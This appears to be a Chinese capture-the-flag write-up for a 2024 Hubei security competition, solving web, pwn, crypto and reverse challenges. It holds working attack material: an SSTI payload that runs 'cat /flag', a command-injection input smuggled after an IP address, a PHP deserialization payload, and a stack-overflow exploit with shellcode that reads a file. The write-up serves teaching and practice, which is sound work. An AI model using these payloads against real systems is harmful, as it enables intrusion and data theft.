2024年第九届“楚慧杯”湖北省网络与数据安全实践能力竞赛 web&pwn&Crypto
字数 1013 2025-08-22 12:22:30
"楚慧杯"湖北省网络与数据安全实践能力竞赛解题教学文档
目录
速算比赛
题目描述
要求连续在3秒内解出30道数学题。
解题思路
使用Python脚本自动获取题目、计算答案并提交。
关键代码
import requests
import re
def solve_math_problems(base_url, num_iterations=31):
session = requests.Session()
for _ in range(num_iterations):
try:
# 获取题目页面
response = session.get(base_url)
response.raise_for_status()
# 提取计算题和正确计数
calculate_match = re.search(r"Calculate: (.*?)<br>", response.text)
correct_count_match = re.search(r"Correct Count: (.*?)<br>", response.text)
if not calculate_match or not correct_count_match:
print("无法找到计算题或正确计数")
continue
Calculate = calculate_match.group(1)
Correct_Count = correct_count_match.group(1)
# 计算答案
answer = eval(Calculate)
print(f"提交答案:{answer}")
# 提交答案
post_response = session.post(base_url, data={"answer": str(answer)})
post_response.raise_for_status()
# 打印服务器响应
print(post_response.text)
except requests.exceptions.RequestException as e:
print(f"请求发生错误: {e}")
if __name__ == "__main__":
base_url = ''
solve_math_problems(base_url)
技术要点
- 使用
requests.Session()保持会话 - 正则表达式提取题目内容
eval()函数直接计算数学表达式- 异常处理确保脚本稳定性
Sal的图集
题目描述
Sal有好多图片,可能存在SSTI(服务器端模板注入)漏洞。
解题思路
- 发现查询功能存在SSTI漏洞
- 使用fenjing工具生成payload
关键Payload
{% print((cycler.next.__globals__.__getitem__('__b''uiltins__')).__getitem__('__i''mport__'))('os').popen('c''at /flag').read() %}
技术要点
- 识别SSTI漏洞
- 绕过过滤使用字符串拼接
- 利用Python内置函数执行系统命令
popmart
题目描述
存在命令执行限制,需要利用反序列化漏洞。
解题步骤
- 发现输入限制:前半部分必须为IP,总长度不超过12位
- 使用
0.0.0.0;ls /和0.0.0.0;cat获取文件信息 - 发现
p0pmart.php存在反序列化漏洞 - 构造反序列化payload
关键代码
<?php
class popmart {
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki = 'tell me where';
$this->molly = 'dont_tell_you';
$this->dimoo = "you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki = $where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$exploit = new popmart();
$serialized_exploit = serialize($exploit);
echo $serialized_exploit;
?>
最终Payload
GET: p0pmart.php?wq=二仙桥
POST: pucky=O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}&where_you_go=dont_tell_you
技术要点
- 利用extract函数变量覆盖
- PHP反序列化漏洞利用
__wakeup()魔术方法利用- 全局变量覆盖
ddd
题目描述
RSA加密,d是随机生成的,需要通过n、e通过连分数wiener攻击反推d。
解题思路
使用连分数展开进行Wiener攻击。
关键代码
from Crypto.Util.number import *
from gmpy2 import *
from libnum import *
n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380
cf = continued_fraction(e/n)
for i in range(1, 1000):
k = cf.numerator(i)
d = cf.denominator(i)
if (e*d - 1) % k == 0:
m = pow(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
# DASCTF{e694f0b4e9556021d1bc9e8deedba575}
技术要点
- Wiener攻击原理
- 连分数展开
- RSA小私钥攻击
Inequable_Canary
题目分析
- 主函数直接可以向返回地址写入地址
- 存在hint函数包含
jmp rsp的gadget - vuln函数存在栈溢出漏洞
利用步骤
- 劫持
__stack_chk_fail函数 - 覆盖为
leave_ret的gadget - 执行shellcode
关键代码
from pwn import *
context(log_level='debug', arch='amd64')
elf = ELF('./canary')
leave_ret = 0x4008EF
magic = 0x400818
# 发送地址调整到漏洞函数
s(p64(0x400820))
# 写入got表地址
pay = b'a'*8 + p64(elf.got['__stack_chk_fail'])
rl("Deep Sea \n")
s(pay)
# 覆盖为leave_ret
rl("magic \n")
pay = p64(leave_ret)
s(pay)
# 构造shellcode
payload1 = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
xor edx, edx
xor r10, r10
push SYS_openat
pop rax
syscall
mov rdi, 1
mov rsi, 3
push 0
mov rdx, rsp
mov r10, 0x100
push SYS_sendfile
pop rax
syscall
''')
pay = p64(magic)*6 + payload1
rl("Let's go!")
s(pay)
inter()
技术要点
- 劫持
__stack_chk_fail绕过canary检查 - ROP链构造
- Shellcode编写
- 利用
jmp rsp执行shellcode
zistel
题目分析
- 动态调试找到关键比较位置
- 提取密钥数据
- 分析加密算法
关键数据
dword_1000730 dd 33293158h
dd 60760211h
dd 42185F46h
dd 63746F29h
解密算法
类似于RC4加密,需要逆向算法。
解密代码
#include <stdio.h>
#include <stdint.h>
int main() {
uint32_t s1[] = {0x33293158, 0x60760211, 0x42185F46, 0x63746F29, 0};
uint32_t s2[] = {
0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD,
0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD,
0xBBDBD183, 0x05340F2E, 0xBEEFDEAD, 0xBBDBD183, 0x05340F2E, 0xBEEFDEAD,
0xBBDBD183, 0x05340F2E
};
int s3[1024] = {0};
for(int i=0; i<0x100; i++) {
s3[i] = i & 3;
}
for(int i=0; i<4; i+=2) {
uint32_t b = s1[i], a = s1[i+1];
for(int j=19; j>=0; j--) {
uint32_t c = a;
a ^= s2[j];
for(int k=0; k<4; k++) {
int tmp = s3[(s2[j] >> (k*8)) & 0xff];
uint32_t temp = (a >> (k*8)) & 0xff;
*((uint8_t*)&a + k) = *((uint8_t*)&a + tmp);
*((uint8_t*)&a + tmp) = temp;
}
a ^= s2[j];
a ^= b;
b = c;
}
s1[i] = a;
s1[i+1] = b;
}
printf("%s", (char*)s1);
return 0;
}
技术要点
- 动态调试技术
- 加密算法逆向
- 自定义加密算法分析
- 密钥恢复技术